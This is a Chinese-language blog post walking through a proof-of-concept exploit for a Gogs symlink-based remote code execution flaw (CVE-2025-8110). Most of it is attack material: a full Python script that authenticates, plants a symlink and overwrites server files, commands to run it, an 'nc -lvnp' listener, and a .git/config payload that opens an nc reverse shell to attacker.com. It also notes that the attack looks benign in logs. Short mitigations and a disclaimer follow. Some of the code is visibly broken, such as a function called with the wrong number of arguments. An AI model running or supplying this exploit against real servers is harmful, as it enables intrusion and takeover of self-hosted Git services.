深入解析Gogs高危漏洞CVE-2025-8110:符号链接绕过实现RCE的完整POC

3 阅读6分钟

CVE-2025-8110 — Gogs 零日RCE漏洞深度分析

🔍 概述

CVE-2025-8110Gogs(自托管Git服务)中的一个高危远程代码执行漏洞。该漏洞源于 PutContents API 中符号链接验证不充分,允许攻击者覆盖主机上的任意文件,最终执行恶意代码。

这是一个符号链接路径遍历绕过漏洞,攻击者可以:

  1. 在仓库中创建恶意符号链接
  2. 通过API写入符号链接指向的目标
  3. 覆盖服务器上的任意文件
  4. 注入恶意配置或代码
  5. 实现远程代码执行

⚠️ 严重性指标

  • CVSS评分约8.7(高危)
  • 可通过网络利用
  • 利用复杂度低
  • 所需权限较低

🧨 漏洞原理

Gogs允许用户在仓库中创建符号链接。存在漏洞的 PutContents API 不检查这些符号链接是否指向仓库外部,使得攻击者能够:

  • 在仓库内创建恶意符号链接
  • 通过API向符号链接写入内容
  • 覆盖服务器上的任意文件
  • 注入恶意配置或代码
  • 最终获得远程代码执行权限

🚨 当前利用状态

  • 已识别超过 1,400台互联网暴露的Gogs服务器
  • 700多台已被入侵
  • 攻击者创建随机短名称仓库作为利用的一部分
  • 2025年12月初以来观察到相关活动
  • 报告发布时尚无官方补丁

📋 功能特性

核心功能

  • 认证绕过:通过合法用户凭证获取CSRF令牌和会话Cookie
  • 符号链接创建:在目标仓库中创建指向任意路径的符号链接
  • 文件覆盖:通过符号链接漏洞覆盖目标文件内容
  • RCE载荷生成:自动生成针对.git/config的SSH RCE载荷
  • 灵活配置:支持自定义目标文件路径和恶意载荷内容

利用场景

  • 远程代码执行:通过覆盖.git/config文件注入恶意SSH命令
  • 配置文件篡改:修改系统关键配置文件
  • WebShell部署:在Web目录写入恶意脚本
  • 权限维持:创建后门账户或SSH密钥

🔧 安装指南

系统要求

  • Python 3.6+
  • requests库
  • 网络访问权限

安装步骤

  1. 克隆或下载PoC脚本:

    git clone https://github.com/Ashwesker/Blackash-CVE-2025-8110/
    cd Blackash-CVE-2025-8110
    
  2. 安装必要的Python依赖:

    pip install requests
    
  3. 确保脚本有执行权限:

    chmod +x cve-2025-8110.py
    

平台说明

  • 该PoC工具跨平台运行(Linux、macOS、Windows)
  • 需要在Python环境中运行
  • 目标Gogs服务必须可从攻击机访问

🚀 使用说明

基础用法

python3 cve-2025-8110.py -u http://gogs.example.com -U username -P password -r test-repo -t /path/to/target/file

参数说明

  • -u:Gogs实例的基础URL
  • -U:用户名
  • -P:密码(也可使用--token参数指定API令牌)
  • -r:仓库名称(如需所有者/仓库格式)
  • -t:要覆盖的目标文件路径(默认:.git/config用于SSH RCE)
  • --payload:自定义载荷内容(默认:简单的echo测试命令)
  • --lhost / --lport:反向Shell监听主机和端口(用于RCE)

RCE示例

  1. 首先在攻击机上启动监听:

    nc -lvnp 4444
    
  2. 执行PoC工具:

    python3 cve-2025-8110.py -u http://target.com -U admin -P password -r victim/repo --lhost attacker.com --lport 4444
    
  3. 触发Git操作(如git pull)以执行反向Shell

安全测试建议

  • 本地环境:运行漏洞Gogs Docker实例:docker run -p 3000:3000 gogs/gogs:0.13.0
  • 验证结果:执行后检查目标文件(如cat /tmp/pwned
  • 日志隐蔽:API调用模拟正常仓库更新,日志显示良性的"文件更改"

💻 核心代码分析

1. 主函数与参数解析

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-8110 PoC")
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-U", "--username", required=True)
    parser.add_argument("-P", "--password", required=True)
    parser.add_argument("-r", "--repo", required=True, help="Repo path (owner/repo)")
    parser.add_argument("-t", "--target", default="/tmp/pwned", help="Target file path")
    parser.add_argument("--payload", default="echo 'pwned' > /tmp/pwned", help="Custom payload")
    parser.add_argument("--lhost", default="attacker.com", help="LHOST for reverse shell")
    parser.add_argument("--lport", type=int, default=4444, help="LPORT")
    args = parser.parse_args()

    session = requests.Session()
    session.headers.update({"Content-Type": "application/json"})

    try:
        cookies = get_auth_token(session, args.url, args.username, args.password)
        
        symlink_name = "../pwned_symlink"  # 仓库中的任意名称
        create_symlink(session, args.url, args.repo, symlink_name, args.target)
        
        # 针对.git/config的RCE,覆盖载荷
        if "/.git/config" in args.target:
            args.payload = rce_ssh_config(args.lhost, args.lport)
        
        overwrite_via_symlink(session, args.url, args.repo, symlink_name, args.payload)
        
        print(f"[+] Exploit complete! Check {args.target} for payload.")
        print("[*] For RCE: Trigger a git pull/clone as the gogs user to execute via SSH.")
        
    except Exception as e:
        print(f"[-] Error: {e}")

代码说明:主函数负责解析命令行参数,创建HTTP会话,并协调整个利用流程。包含认证、符号链接创建和文件覆盖三个主要步骤。

2. 认证令牌获取

def get_auth_token(session, base_url, username, password):
    """Authenticate and retrieve CSRF token + session cookie."""
    login_url = f"{base_url}/user/login"
    session.get(login_url)  # 从表单获取CSRF令牌
    
    # 从响应中提取_csrf(简化版;生产环境需解析HTML)
    login_data = {
        "user_name": username,
        "password": password,
        "_csrf": session.cookies.get('_csrf', '')  # 根据实际表单调整
    }
    resp = session.post(login_url, data=login_data)
    if "user/login" in resp.url:
        raise ValueError("Authentication failed")
    print("[+] Authenticated successfully")
    return session.cookies

代码说明:该函数通过模拟用户登录获取必要的CSRF令牌和会话Cookie,为后续API调用提供身份验证。

3. 符号链接创建

def create_symlink(session, base_url, repo, symlink_path, target_path):
    """Step 1: Create a symlink file in repo pointing to target."""
    api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}"
    symlink_content = base64.b64encode(target_path.encode()).decode()  # Git中的符号链接格式
    data = {
        "message": "Create symlink",
        "content": symlink_content,
        "branch": "main"
    }
    resp = session.put(api_url, json=data)
    if resp.status_code != 201:
        raise ValueError(f"Failed to create symlink: {resp.text}")
    print(f"[+] Symlink created: {symlink_path} -> {target_path}")

代码说明:通过Gogs API创建符号链接文件。关键点是将目标路径进行base64编码作为文件内容,这是Git存储符号链接的标准方式。

4. 通过符号链接覆盖文件

def overwrite_via_symlink(session, base_url, repo, symlink_path, payload):
    """Step 2: 'Update' the symlink to overwrite target with payload."""
    api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}"
    payload_b64 = base64.b64encode(payload.encode()).decode()
    data = {
        "message": "Overwrite via symlink",
        "content": payload_b64,
        "branch": "main",
        "sha": ""  # 通过不提供SHA来绕过"新内容"检查
    }
    resp = session.put(api_url, json=data)
    if resp.status_code not in [200, 201]:
        raise ValueError(f"Overwrite failed: {resp.text}")
    print("[+] Target file overwritten successfully")

代码说明:这是漏洞利用的核心部分。通过"更新"符号链接文件,实际上将恶意内容写入符号链接指向的目标文件。关键技巧是不提供sha参数,绕过Git的内容变更检查。

5. SSH RCE载荷生成

def rce_ssh_config(base_url, lhost, lport):
    """Generate malicious .git/config payload for SSH RCE."""
    payload = f"""
[core]
    sshCommand = ssh -o ProxyCommand="nc {lhost} {lport} -e /bin/sh"
"""
    return payload.strip()

代码说明:生成针对.git/config文件的恶意配置。当Gogs用户执行Git操作时,sshCommand会被执行,创建反向Shell连接到攻击者指定的主机和端口。

🛡️ 缓解措施(临时有效)

1. 禁用开放注册

防止攻击者创建仓库。

2. 移除公网暴露

通过以下方式保护Gogs:

  • VPN访问
  • 防火墙白名单
  • 带身份验证的反向代理

3. 审计可疑仓库

查找以下特征:

  • 6-10个字符的随机仓库名称
  • 包含符号链接的仓库

4. 强制执行严格访问控制

限制以下操作权限:

  • 创建仓库
  • 推送文件
  • 访问API

⚠️ 法律与道德声明

免责声明:本文档信息仅用于教育和防御性安全目的。未经适当授权,请勿使用此信息访问或修改任何系统。未经授权的利用是非法且不道德的行为。


请注意:该漏洞在报告时尚未发布官方补丁,建议Gogs管理员立即采取上述缓解措施保护系统安全。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAMphdg/lq1Mu9tyBiK5QvHo